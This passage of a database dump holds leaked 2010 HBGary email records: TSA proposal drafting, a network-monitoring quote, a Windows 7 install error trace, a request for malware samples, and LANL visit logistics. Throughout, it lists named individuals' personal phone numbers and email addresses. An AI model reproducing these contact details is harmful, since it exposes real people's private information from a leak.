\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6819,'aaron_hbgary_com/6819.html'),(10315,'2010-08-14','\"Masterson, Brian M (XETRON)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297008041.M541882P14101Q5170.eml','\"Aaron Barr\" <aaron@hbgary.com>','FW: EXTERNAL:Bizdev question','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\nDoug is a friend who used to work at Xetron.&nbsp; He now works for\r\nGreat Western and Southern Financial.&nbsp; Do you have any recommendations?&nbsp; Know\r\nwho in IS that I could talk to?&nbsp; Not sure who over there would do commercial.\r\n\r\n&nbsp;\r\n\r\nThanks,\r\n\r\nBrian\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBrian Masterson \r\nNorthrop Grumman/Xetron \r\nChief Technology Officer, Cyber Solutions\r\nPh: 513-881-3591 \r\nCell: 513-706-4848 \r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Ross, Doug\r\n[mailto:doug.ross@westernsouthernlife.com] \r\nSent: Friday, August 13, 2010 4:21 PM\r\nTo: Masterson, Brian M (XETRON); Thompson, Bill (XETRON)\r\nSubject: EXTERNAL:Bizdev question\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nQuestion:\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWe\r\nare strongly considering a network strategy and architecture consulting\r\nengagement.&nbsp; This would entail taking a look at our existing network\r\narchitecture, comparing it to where we want to be, and then offering us a\r\nroadmap so that we can get there in digestible chunks.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThe\r\nkinds of things that we would include in the study (some of which are in place,\r\nbut are fair game for re-design):\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;*\r\n802.1X\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;*\r\nNetwork segmentation and security zones\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;*\r\nNAC\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;*\r\nDMZ re-design\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;*\r\nFirewalls (internal, external, partners)\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;*\r\nPCI/DSS\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;*\r\nVoIP security\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;*\r\nVMware and virtual switching\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;*\r\nConventional network protection (IPS, IDS, proxies, acceptable use filtering,\r\netc.)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;*\r\nIntegration with directory services/identity management\r\n\r\n\r\n\r\n&nbsp;*\r\nIntegration with SEIM\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nIs\r\nthis the kind of thing that NGC (either NGX, ES or outside ES) would have\r\ninterest and expertise in?&nbsp; If not, would you have a recommendation as to\r\nan external partner?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThanks\r\nmuch, Doug\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',832,'aaron_hbgary_com/832.html'),(10316,'2010-08-14','\"John Fanguy\" <jfanguy@digitalmanagement.com>','/aaron@hbgary.com/new/1297008048.M572057P14101Q5171.eml','\"Aaron Barr\" <aaron@hbgary.com>','Latest ITSSS Vol 1','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n-John\r\n\r\n&nbsp;\r\n\r\nJohn\r\nFanguy\r\n\r\nVP\r\n\r\nDigital\r\nManagement, Inc.\r\n\r\n&quot;Leading Government Transformation&quot;\r\n\r\nGSA 8(a) STARS - GSA IT 70 - GSA MOBIS\r\n\r\n--------------------------------------------------\r\n\r\n6701\r\nDemocracy Blvd, Suite 500\r\nBethesda, Maryland 20817\r\n301-346-6749\r\ncell\r\n\r\n240-223-4800 main\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',357,'aaron_hbgary_com/357.html'),(10317,'2010-08-14','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008048.M975588P14101Q5172.eml','\"John Fanguy\" <jfanguy@digitalmanagement.com>,\"John Fanguy\" <jfanguy@digitalmanagement.com>,,,,,,,,,,,,,,','ITS Capabilities Spreadsheet','\r\n\r\nAll,If you could please fill out the following chart with relevant content to the functions that would be most appreciated.Experience (contracts) you have related to this area.Tools your experienced with using# of experience personnelOther resources related to the function (labs, training programs, etc)Thanks,Aaron\r\n \r\n  Function\r\n  \r\n  Experience\r\n  \r\n  Tools\r\n  \r\n  People\r\n  \r\n  Other Resources\r\n  \r\n \r\n \r\n  Digital Forensics\r\n  \r\n  &nbsp;\r\n  \r\n  &nbsp;\r\n  \r\n  &nbsp;\r\n  \r\n  &nbsp;\r\n  \r\n \r\n \r\n  E-Discovery\r\n  \r\n  &nbsp;\r\n  \r\n  &nbsp;\r\n  \r\n  &nbsp;\r\n  \r\n  &nbsp;\r\n  \r\n \r\n \r\n  SOC MGMT\r\n  \r\n  &nbsp;\r\n  \r\n  &nbsp;\r\n  \r\n  &nbsp;\r\n  \r\n  &nbsp;\r\n  \r\n \r\n \r\n  Incident Response\r\n  \r\n  &nbsp;\r\n  \r\n  &nbsp;\r\n  \r\n  &nbsp;\r\n  \r\n  &nbsp;\r\n  \r\n \r\n \r\n  Threat and Vulnerability\r\n  \r\n  &nbsp;\r\n  \r\n  &nbsp;\r\n  \r\n  &nbsp;\r\n  \r\n  &nbsp;\r\n  \r\n \r\n \r\n  Cyber Intelligence\r\n  \r\n  &nbsp;\r\n  \r\n  &nbsp;\r\n  \r\n  &nbsp;\r\n  \r\n  &nbsp;\r\n  \r\n \r\n \r\n  COMSEC\r\n  \r\n  &nbsp;\r\n  \r\n  &nbsp;\r\n  \r\n  &nbsp;\r\n  \r\n  &nbsp;',2676,'aaron_hbgary_com/2676.html'),(10318,'2010-08-14','\"Ryder, Tom\" <Tom.ryder@telos.com>','/aaron@hbgary.com/new/1297008049.M204570P14101Q5173.eml','\"Aaron Barr\" <aaron@hbgary.com>','Out of Office: ITS Capabilities Spreadsheet','I am out on leave from 8/9 - 8/13 with limited phone and e-mail connectivity so please pardon any delayed response.  If you need immediate assistance please contact Angela Robinson (Angela.Robinson@telos.com).',7506,'aaron_hbgary_com/7506.html'),(10319,'2010-08-14','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008049.M464165P14101Q5174.eml','mark@hbgary.com,\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Active Defense on Win7','This sucks...\r\n\r\n\r\n---------- Forwarded message ----------\r\nFrom: Ted Vera \r\nDate: Sat, Aug 14, 2010 at 2:56 PM\r\nSubject: Active Defense on Win7\r\nTo: Phil Wallisch , Rich Cummings ,\r\nGreg Hoglund , Charles Copeland \r\n\r\n\r\nI\'m trying to install AD on a Win7 laptop.  I followed the\r\ninstructions in the manual but received error messages.  After\r\ntroubleshooting I thought it may be have been from previous IIS/ASP\r\nconfig settings.  I reinstalled Win7 from scratch and still no joy.\r\nSee error below.  Did any of you have to do anything special to get AD\r\nrunning on WIn7?\r\n\r\nThanks,\r\nTed\r\n\r\nServer Error in \'/\' Application.\r\n--------------------------------------------------------------------------------\r\n\r\nRequired permissions cannot be acquired.\r\nDescription: An unhandled exception occurred during the execution of\r\nthe current web request. Please review the stack trace for more\r\ninformation about the error and where it originated in the code.\r\n\r\nException Details: System.Security.Policy.PolicyException: Required\r\npermissions cannot be acquired.\r\n\r\nSource Error:\r\n\r\nAn unhandled exception was generated during the execution of the\r\ncurrent web request. Information regarding the origin and location of\r\nthe exception can be identified using the exception stack trace below.\r\n\r\nStack Trace:\r\n\r\n\r\n[PolicyException: Required permissions cannot be acquired.]\r\n  System.Security.SecurityManager.ResolvePolicy(Evidence evidence,\r\nPermissionSet reqdPset, PermissionSet optPset, PermissionSet denyPset,\r\nPermissionSet& denied, Boolean checkExecutionPermission) +7606807\r\n  System.Security.SecurityManager.ResolvePolicy(Evidence evidence,\r\nPermissionSet reqdPset, PermissionSet optPset, PermissionSet denyPset,\r\nPermissionSet& denied, Int32& securitySpecialFlags, Boolean\r\ncheckExecutionPermission) +57\r\n\r\n[FileLoadException: Could not load file or assembly \'hbglam,\r\nVersion=1.0.3856.24114, Culture=neutral, PublicKeyToken=null\' or one\r\nof its dependencies. Failed to grant minimum permission requests.\r\n(Exception from HRESULT: 0x80131417)]\r\n  System.Reflection.Assembly._nLoad(AssemblyName fileName, String\r\ncodeBase, Evidence assemblySecurity, Assembly locationHint,\r\nStackCrawlMark& stackMark, Boolean throwOnFileNotFound, Boolean\r\nforIntrospection) +0\r\n  System.Reflection.Assembly.nLoad(AssemblyName fileName, String\r\ncodeBase, Evidence assemblySecurity, Assembly locationHint,\r\nStackCrawlMark& stackMark, Boolean throwOnFileNotFound, Boolean\r\nforIntrospection) +43\r\n  System.Reflection.Assembly.InternalLoad(AssemblyName assemblyRef,\r\nEvidence assemblySecurity, StackCrawlMark& stackMark, Boolean\r\nforIntrospection) +127\r\n  System.Reflection.Assembly.InternalLoad(String assemblyString,\r\nEvidence assemblySecurity, StackCrawlMark& stackMark, Boolean\r\nforIntrospection) +142\r\n  System.Reflection.Assembly.Load(String assemblyString) +28\r\n  System.Web.Configuration.CompilationSection.LoadAssemblyHelper(String\r\nassemblyName, Boolean starDirective) +46\r\n\r\n[ConfigurationErrorsException: Could not load file or assembly\r\n\'hbglam, Version=1.0.3856.24114, Culture=neutral, PublicKeyToken=null\'\r\nor one of its dependencies. Failed to grant minimum permission\r\nrequests. (Exception from HRESULT: 0x80131417)]\r\n  System.Web.Configuration.CompilationSection.LoadAssemblyHelper(String\r\nassemblyName, Boolean starDirective) +613\r\n  System.Web.Configuration.CompilationSection.LoadAllAssembliesFromAppDomainBinDirectory()\r\n+203\r\n  System.Web.Configuration.CompilationSection.LoadAssembly(AssemblyInfo\r\nai) +105\r\n  System.Web.Compilation.BuildManager.GetReferencedAssemblies(CompilationSection\r\ncompConfig) +178\r\n  System.Web.Compilation.BuildProvidersCompiler..ctor(VirtualPath\r\nconfigPath, Boolean supportLocalization, String outputAssemblyName)\r\n+54\r\n  System.Web.Compilation.ApplicationBuildProvider.GetGlobalAsaxBuildResult(Boolean\r\nisPrecompiledApp) +232\r\n  System.Web.Compilation.BuildManager.CompileGlobalAsax() +51\r\n  System.Web.Compilation.BuildManager.EnsureTopLevelFilesCompiled() +337\r\n\r\n[HttpException (0x80004005): Could not load file or assembly \'hbglam,\r\nVersion=1.0.3856.24114, Culture=neutral, PublicKeyToken=null\' or one\r\nof its dependencies. Failed to grant minimum permission requests.\r\n(Exception from HRESULT: 0x80131417)]\r\n  System.Web.Compilation.BuildManager.ReportTopLevelCompilationException() +58\r\n  System.Web.Compilation.BuildManager.EnsureTopLevelFilesCompiled() +512\r\n  System.Web.Hosting.HostingEnvironment.Initialize(ApplicationManager\r\nappManager, IApplicationHost appHost, IConfigMapPathFactory\r\nconfigMapPathFactory, HostingEnvironmentParameters hostingParameters)\r\n+729\r\n\r\n[HttpException (0x80004005): Could not load file or assembly \'hbglam,\r\nVersion=1.0.3856.24114, Culture=neutral, PublicKeyToken=null\' or one\r\nof its dependencies. Failed to grant minimum permission requests.\r\n(Exception from HRESULT: 0x80131417)]\r\n  System.Web.HttpRuntime.FirstRequestInit(HttpContext context) +8897659\r\n  System.Web.HttpRuntime.EnsureFirstRequestInit(HttpContext context) +85\r\n  System.Web.HttpRuntime.ProcessRequestNotificationPrivate(IIS7WorkerRequest\r\nwr, HttpContext context) +333\r\n\r\n\r\n\r\n\r\n--------------------------------------------------------------------------------\r\nVersion Information: Microsoft .NET Framework Version:2.0.50727.4927;\r\nASP.NET Version:2.0.50727.4927\r\n\r\n\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',1173,'aaron_hbgary_com/1173.html'),(10320,'2010-08-15','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297008049.M671735P14101Q5175.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,,','Re: Network monitoring at QNA','Fidelis is the correct solution.  Penny is working with Mary Sullivan\r\nre fidelis boxen.  I think we are green light.  Get penny into the\r\nconversation and let\'s finalize the solution please.\r\n\r\nGreg\r\n\r\nOn 8/13/10, Bob Slapnik  wrote:\r\n> Mike, Greg, Penny, and Aaron,\r\n>\r\n>\r\n>\r\n> QNA wants us to expand our managed services proposal to include monitoring\r\n> the network.  Including the network would allow us to charge more and it\r\n> will make our host monitoring better if we also have network visibility.\r\n>\r\n>\r\n>\r\n> A complication is that QNA has 6-7 locations.  We\'ve been talking about\r\n> Fidelis but it is my understanding that Fidelis requires a box at each\r\n> location.\r\n>\r\n>\r\n>\r\n> Given the cost of Fidelis this may not make sense.  Is there a cheap or\r\n> freeware alternative?  I want to get QNA a proposal by COB Monday.\r\n>\r\n>\r\n>\r\n> Bob\r\n>\r\n>\r\n>\r\n>\r\n',15403,'aaron_hbgary_com/15403.html'),(10321,'2010-08-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008049.M898655P14101Q5176.eml','\"Phil Wallisch\" <phil@hbgary.com>','Tools','Hey Phil,\r\n\r\nI am developing some best practice stuff for this TSA RFP.\r\n\r\nCan you tell me what tools you use for forensics/IR and why?\r\n\r\nThanks,\r\n\r\nDoesn\'t have to be lengthy.\r\n\r\nAaron',15985,'aaron_hbgary_com/15985.html'),(10322,'2010-08-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008050.M417181P14101Q5178.eml','\"John Fanguy\" <jfanguy@digitalmanagement.com>','Re: Latest ITSSS Vol 1','Thanks John. &nbsp;I have it figured out...connected the dots and am rolling. so don\'t fret, you\'ll like it.:)AaronOn Aug 14, 2010, at 3:37 PM, John Fanguy wrote:&nbsp;&nbsp;&nbsp;-John&nbsp;John FanguyVPDigital Management, Inc.\"Leading Government Transformation\"GSA 8(a) STARS - GSA IT 70 - GSA MOBIS--------------------------------------------------6701 Democracy Blvd, Suite 500Bethesda, Maryland 20817301-346-6749 cell240-223-4800&nbsp;main&nbsp;&lt;TSA ITSSS Volume 1 Technical_Draft_2010.08.14_1500-v2(jf).docx&gt;',2172,'aaron_hbgary_com/2172.html'),(10323,'2010-08-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008050.M640796P14101Q5179.eml','\"John Fanguy\" <jfanguy@digitalmanagement.com>','Re: Latest ITSSS Vol 1','My problem was I was focused on the complex problem which is the reduction of time for incident response, even proactive defense through maturity of threat intelligence. &nbsp;So my brain was missing what I would consider the mundane, but acknowledged important day-to-day process steps and conveying our understanding of that. &nbsp;I was focused on wowing them with solving the tough problem...Anyway, on track.On Aug 14, 2010, at 3:37 PM, John Fanguy wrote:&nbsp;&nbsp;&nbsp;-John&nbsp;John FanguyVPDigital Management, Inc.\"Leading Government Transformation\"GSA 8(a) STARS - GSA IT 70 - GSA MOBIS--------------------------------------------------6701 Democracy Blvd, Suite 500Bethesda, Maryland 20817301-346-6749 cell240-223-4800&nbsp;main&nbsp;&lt;TSA ITSSS Volume 1 Technical_Draft_2010.08.14_1500-v2(jf).docx&gt;',15333,'aaron_hbgary_com/15333.html'),(10324,'2010-08-15','\"Aaron Barr\" <adbarr@me.com>','/aaron@hbgary.com/new/1297008050.M840279P14101Q5180.eml','aaron@hbgary.com','Alarm - GFIRST','August 15, 2010 : GFIRST \r\n',10861,'aaron_hbgary_com/10861.html'),(10325,'2010-08-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008050.M97762P14101Q5177.eml','\"Greg Hoglund\" <greg@hbgary.com>','Re: Network monitoring at QNA','I talked to Mary about this a bit tonight.  A good option might be to do a pilot on one segment of the network and when they see its benefits, the maybe span or reroute traffic to the Fidelis box rather than buying a box for every egress point in their organization.  One box could handle all their traffic likely.\r\n\r\nAaron\r\n\r\nOn Aug 14, 2010, at 9:27 PM, Greg Hoglund wrote:\r\n\r\n> Fidelis is the correct solution.  Penny is working with Mary Sullivan\r\n> re fidelis boxen.  I think we are green light.  Get penny into the\r\n> conversation and let\'s finalize the solution please.\r\n> \r\n> Greg\r\n> \r\n> On 8/13/10, Bob Slapnik  wrote:\r\n>> Mike, Greg, Penny, and Aaron,\r\n>> \r\n>> \r\n>> \r\n>> QNA wants us to expand our managed services proposal to include monitoring\r\n>> the network.  Including the network would allow us to charge more and it\r\n>> will make our host monitoring better if we also have network visibility.\r\n>> \r\n>> \r\n>> \r\n>> A complication is that QNA has 6-7 locations.  We\'ve been talking about\r\n>> Fidelis but it is my understanding that Fidelis requires a box at each\r\n>> location.\r\n>> \r\n>> \r\n>> \r\n>> Given the cost of Fidelis this may not make sense.  Is there a cheap or\r\n>> freeware alternative?  I want to get QNA a proposal by COB Monday.\r\n>> \r\n>> \r\n>> \r\n>> Bob\r\n>> \r\n>> \r\n>> \r\n>> \r\n\r\n',15621,'aaron_hbgary_com/15621.html'),(10326,'2010-08-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008052.M91943P14101Q5181.eml','\"John Fanguy\" <jfanguy@digitalmanagement.com>,\"Kirby Kintner\" <kkintner@digitalmanagement.com>','A lot more to go','But I think you will like this approach far better.  Thanks for helping to sharpen my focus.  Today I will work to sharpen the message and include more content to cover all the listed requirements\r\n\r\n',5431,'aaron_hbgary_com/5431.html'),(10327,'2010-08-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008055.M433465P14101Q5182.eml','\"Bill Luti\" <wluti@digitalmanagement.com>,\"Bill Luti\" <wluti@digitalmanagement.com>','Technical Services','Bill,\r\n\r\nForgot to include you on distro.  Given the focus John gave me yesterday I think this is starting to look a lot better.  Definatly more to go but getting there.\r\n\r\n',13273,'aaron_hbgary_com/13273.html'),(10328,'2010-08-15','\"Leibner, Lincoln D LTC MIL USA OSA\" <lincoln.leibner@us.army.mil>','/aaron@hbgary.com/new/1297008055.M675487P14101Q5183.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Attribution','Aaron, I am sorry to say that after much thought, I am not sure how I can be of help on this project. Let me know if there is something specific that you think I can do to help however. ~ Lincoln \r\n\r\nLieutenant Colonel Lincoln Leibner\r\nUnited States Army\r\nOperations and Technology Office\r\n703-697-7131\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr \r\nDate: Friday, July 16, 2010 22:27\r\nSubject: Attribution\r\nTo: Aaron Barr \r\n\r\n\r\n> I am sending this request to a small group of individuals. Please \r\n> do not forward this email to third parties. HBGary is working \r\n> hard to help solve the attribution problem. We have developed a \r\n> fingerprint tool which extracts toolmarks left behind in malware \r\n> executables. We use these toolmarks to cluster exploits together \r\n> which were compiled on the same computer system or development \r\n> environment. Notice the clusters in the graphic below. These \r\n> groupings illustrate the relationships between over 3000 malware \r\n> samples.\r\n> We need your help to further validate and improve the tool. \r\n> Eventually you can imagine combining this data with open source \r\n> and intelligence data. I can see attribution as potentially a \r\n> solvable problem. We need your malware samples, as many as you \r\n> can provide. This is not something we are looking to profit from \r\n> directly, we will be giving this tool away at Blackhat, so helping \r\n> us improve the tool will help the community beat back the threat. \r\n> If possible please have your representative CISOs or cybersecurity \r\n> personnel send malware samples in a password protected zip file. \r\n> Provide the password via phone 719-510-8478 or fax to: 720-836-\r\n> 4208 we need your samples as soon as possible. Samples provided \r\n> will not be shared with third parties and your participation will \r\n> be held in strict confidence.\r\n> \r\n> In exchange for your help, I will provide you with a summary \r\n> report of our findings and you will have made a significant \r\n> contribution to securing America\'s networks. \r\n> \r\n> \r\n> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n',9287,'aaron_hbgary_com/9287.html'),(10329,'2010-08-15','\"William Luti\" <wluti@digitalmanagement.com>','/aaron@hbgary.com/new/1297008055.M924061P14101Q5184.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: Technical Services','Aaron, this is a superb description of our solution for TSA. Thanks for the excellent effort. Let\'s keep editing and refining and linking it to the rest of the proposal as we move forward. Bill\r\n\r\n\r\n\r\nOn Aug 15, 2010, at 7:53 AM, Aaron Barr  wrote:\r\n\r\n> Bill,\r\n> \r\n> Forgot to include you on distro.  Given the focus John gave me yesterday I think this is starting to look a lot better.  Definatly more to go but getting there.\r\n> \r\n> \r\n> \r\n> \r\n',8757,'aaron_hbgary_com/8757.html'),(10330,'2010-08-15','\"Jerry McClure\" <Jerry.McClure@agilex.com>','/aaron@hbgary.com/new/1297008056.M155215P14101Q5185.eml','\"Taylor, David A\" <dataylor@lanl.gov>,ted@hbgary.com,\"Taylor, David A\" <dataylor@lanl.gov>,ted@hbgary.com,,','RE: HBGary & LANL Visit','\r\n\r\n@font-face {\r\n	font-family: Calibri;\r\n}\r\n@page WordSection1 {margin: 1.0in 1.0in 1.0in 1.0in; }\r\nP.MsoNormal {\r\n	MARGIN: 0in 0in 0pt; FONT-FAMILY: \"Calibri\",\"sans-serif\"; FONT-SIZE: 11pt\r\n}\r\nLI.MsoNormal {\r\n	MARGIN: 0in 0in 0pt; FONT-FAMILY: \"Calibri\",\"sans-serif\"; FONT-SIZE: 11pt\r\n}\r\nDIV.MsoNormal {\r\n	MARGIN: 0in 0in 0pt; FONT-FAMILY: \"Calibri\",\"sans-serif\"; FONT-SIZE: 11pt\r\n}\r\nA:link {\r\n	COLOR: blue; TEXT-DECORATION: underline\r\n}\r\nSPAN.MsoHyperlink {\r\n	COLOR: blue; TEXT-DECORATION: underline\r\n}\r\nA:visited {\r\n	COLOR: purple; TEXT-DECORATION: underline\r\n}\r\nSPAN.MsoHyperlinkFollowed {\r\n	COLOR: purple; TEXT-DECORATION: underline\r\n}\r\nSPAN.EmailStyle17 {\r\n	FONT-FAMILY: \"Calibri\",\"sans-serif\"; COLOR: windowtext\r\n}\r\n\r\n\r\n\r\n\r\nDavid - need you to send the form you mention below.&nbsp; Also can you send the hotel information, airport to fly into, and address of the facility they are to report to on Monday 8/23 morning.&nbsp; I could not find this information that Sree used.&nbsp; This way&nbsp;HbGary\r\n can make their reservations.\r\n&nbsp;\r\nTed - The start date&nbsp;everyone is&nbsp;shooting for is Monday 8/23 which means your team flies in Sunday evening.&nbsp; Below is information your team needs to send to&nbsp;Susie (cced) and other information you&nbsp;should be aware of.&nbsp;&nbsp;David will send\r\n the form for the laptop and information requested above.&nbsp; We felt it would be wise to have a telecom on Thursday 8/19 with LANL, your team, and myself to discuss last minute details.&nbsp; Right now we have 3pm EST&nbsp;on Thursday 8/19 for the telecom.&nbsp; Let me know\r\n if this works for you and I will set up a telecom number for everyone to dial into.&nbsp; Let me know if there is anything else you need to make 8/23 happen.Thanks&nbsp;\r\n&nbsp;\r\n\r\n\r\nFrom: Taylor, David A [dataylor@lanl.gov]\r\nSent: Thursday, August 12, 2010 7:02 PM\r\nTo: Jerry McClure\r\nCc: Ira Entis; Trujillo, Susie G\r\nSubject: HBGary &amp; LANL Visit\r\n\r\n\r\n\r\n\r\n\r\nJerry\r\n&nbsp;\r\nAttached is a form that each of the HBGary guys will need to fill out to bring their laptops in to use to collect notes.\r\nPlease note that the logic on the 4 questions for “PED user must respond to the following statements” below name stuff is very backwards.\r\nA PED is the laptop.\r\nThey will need the make, model number, and serial number on the description of it.\r\nThey will need to sign it.\r\nWe will enter the location.\r\n&nbsp;\r\nFor badging:\r\nI will need name, Birthdates, address, phone number and Social Security Number.\r\nThis can go directly to Suzie, she is CC’d.\r\nAs they are US citizens, they will only need their driver lic. When they go to get badged.\r\n&nbsp;\r\nI will make set up a meeting time for Thursday to conference call.\r\nI would like you to provide a conference call number, it would save me some trouble.\r\n&nbsp;\r\nYou should just use the info on lodging and directions we gave Shree.\r\nI am assuming they would arrive up here on 8/23/10 at 8:00AM.\r\nThey should find me, and I will help them get badged and then take them over to TRK (where they will work).\r\nI can reached at my desk at that time, but will have my cell on for them.\r\n&nbsp;\r\nThanks for your help.\r\n&nbsp;\r\nDavid Taylor\r\ndataylor@lanl.gov\r\n505-667-6884 Off\r\n505-231-7489 Cell\r\n\r\n\r\n\r\n\r\n\r\n',7889,'aaron_hbgary_com/7889.html'),(10331,'2010-08-15','\"John Fanguy\" <jfanguy@digitalmanagement.com>','/aaron@hbgary.com/new/1297008056.M352207P14101Q5186.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Technical Services','You\'re almost there with the file naming:  \r\n1) be sure to include your initials in parentheses at the end\r\n2) prefix the doc with this proposal\'s code: TSA-ITSSS\r\n\r\nTSA-ITSSS-1.3.3......v3(ab).docx\r\n\r\nSounds nit-picky, but at any one time the same people in our prop Shop are working on 6 diff proposals and it\'s too confusing for them (and the capture manager, me) with out it.\r\n\r\nAlso, be sure to increment the version counter when you send in the next - otherwise Kirby and I will assume it\'s the same just getting forwarded around.\r\n\r\nThanks!\r\n\r\n-John\r\n\r\nVP\r\nDigital Management, Inc.\r\n301-346-6749 cell\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Sunday, August 15, 2010 7:53 AM\r\nTo: William Luti\r\nCc: John Fanguy\r\nSubject: Technical Services\r\n\r\nBill,\r\n\r\nForgot to include you on distro.  Given the focus John gave me yesterday I think this is starting to look a lot better.  Definatly more to go but getting there.\r\n\r\n',207,'aaron_hbgary_com/207.html'),(10332,'2010-08-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008056.M628849P14101Q5187.eml','\"John Fanguy\" <jfanguy@digitalmanagement.com>','Re: Technical Services','Lol.  No I get it.  Sure thing.\r\n\r\nSent from my iPhone\r\n\r\nOn Aug 15, 2010, at 10:10 AM, John Fanguy  wrote:\r\n\r\n> You\'re almost there with the file naming:\r\n> 1) be sure to include your initials in parentheses at the end\r\n> 2) prefix the doc with this proposal\'s code: TSA-ITSSS\r\n>\r\n> TSA-ITSSS-1.3.3......v3(ab).docx\r\n>\r\n> Sounds nit-picky, but at any one time the same people in our prop Shop are working on 6 diff proposals and it\'s too confusing for them (and the capture manager, me) with out it.\r\n>\r\n> Also, be sure to increment the version counter when you send in the next - otherwise Kirby and I will assume it\'s the same just getting forwarded around.\r\n>\r\n> Thanks!\r\n>\r\n> -John\r\n>\r\n> VP\r\n> Digital Management, Inc.\r\n> 301-346-6749 cell\r\n>\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Sunday, August 15, 2010 7:53 AM\r\n> To: William Luti\r\n> Cc: John Fanguy\r\n> Subject: Technical Services\r\n>\r\n> Bill,\r\n>\r\n> Forgot to include you on distro.  Given the focus John gave me yesterday I think this is starting to look a lot better.  Definatly more to go but getting there.\r\n>\r\n',15735,'aaron_hbgary_com/15735.html'),(10333,'2010-08-15','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297008056.M886265P14101Q5188.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,,','RE: Network monitoring at QNA','Greg, Penny and Mike,\r\n\r\nI need to submit a proposal for managed services to QNA by Monday, so I need\r\nthe info regarding Fidelis by then.  I suggest we propose ONE Fidelis box\r\nfor ONE QNA location, especially if we get it on a 3 or 6 month trial.\r\n\r\nI agree that Fidelis is the right technical solution, but it may not be the\r\nright financial solution.  Their boxes are expensive and QNA has 6-7 small\r\nlocations.  At QNA the total cost of Fidelis will exceed the total cost of\r\nAD software.\r\n\r\nBob \r\n\r\n\r\n-----Original Message-----\r\nFrom: Greg Hoglund [mailto:greg@hbgary.com] \r\nSent: Saturday, August 14, 2010 9:27 PM\r\nTo: Bob Slapnik\r\nCc: Penny Leavy-Hoglund; Michael G. Spohn; Aaron Barr\r\nSubject: Re: Network monitoring at QNA\r\n\r\nFidelis is the correct solution.  Penny is working with Mary Sullivan\r\nre fidelis boxen.  I think we are green light.  Get penny into the\r\nconversation and let\'s finalize the solution please.\r\n\r\nGreg\r\n\r\nOn 8/13/10, Bob Slapnik  wrote:\r\n> Mike, Greg, Penny, and Aaron,\r\n>\r\n>\r\n>\r\n> QNA wants us to expand our managed services proposal to include monitoring\r\n> the network.  Including the network would allow us to charge more and it\r\n> will make our host monitoring better if we also have network visibility.\r\n>\r\n>\r\n>\r\n> A complication is that QNA has 6-7 locations.  We\'ve been talking about\r\n> Fidelis but it is my understanding that Fidelis requires a box at each\r\n> location.\r\n>\r\n>\r\n>\r\n> Given the cost of Fidelis this may not make sense.  Is there a cheap or\r\n> freeware alternative?  I want to get QNA a proposal by COB Monday.\r\n>\r\n>\r\n>\r\n> Bob\r\n>\r\n>\r\n>\r\n>\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com \r\nVersion: 9.0.851 / Virus Database: 271.1.1/3071 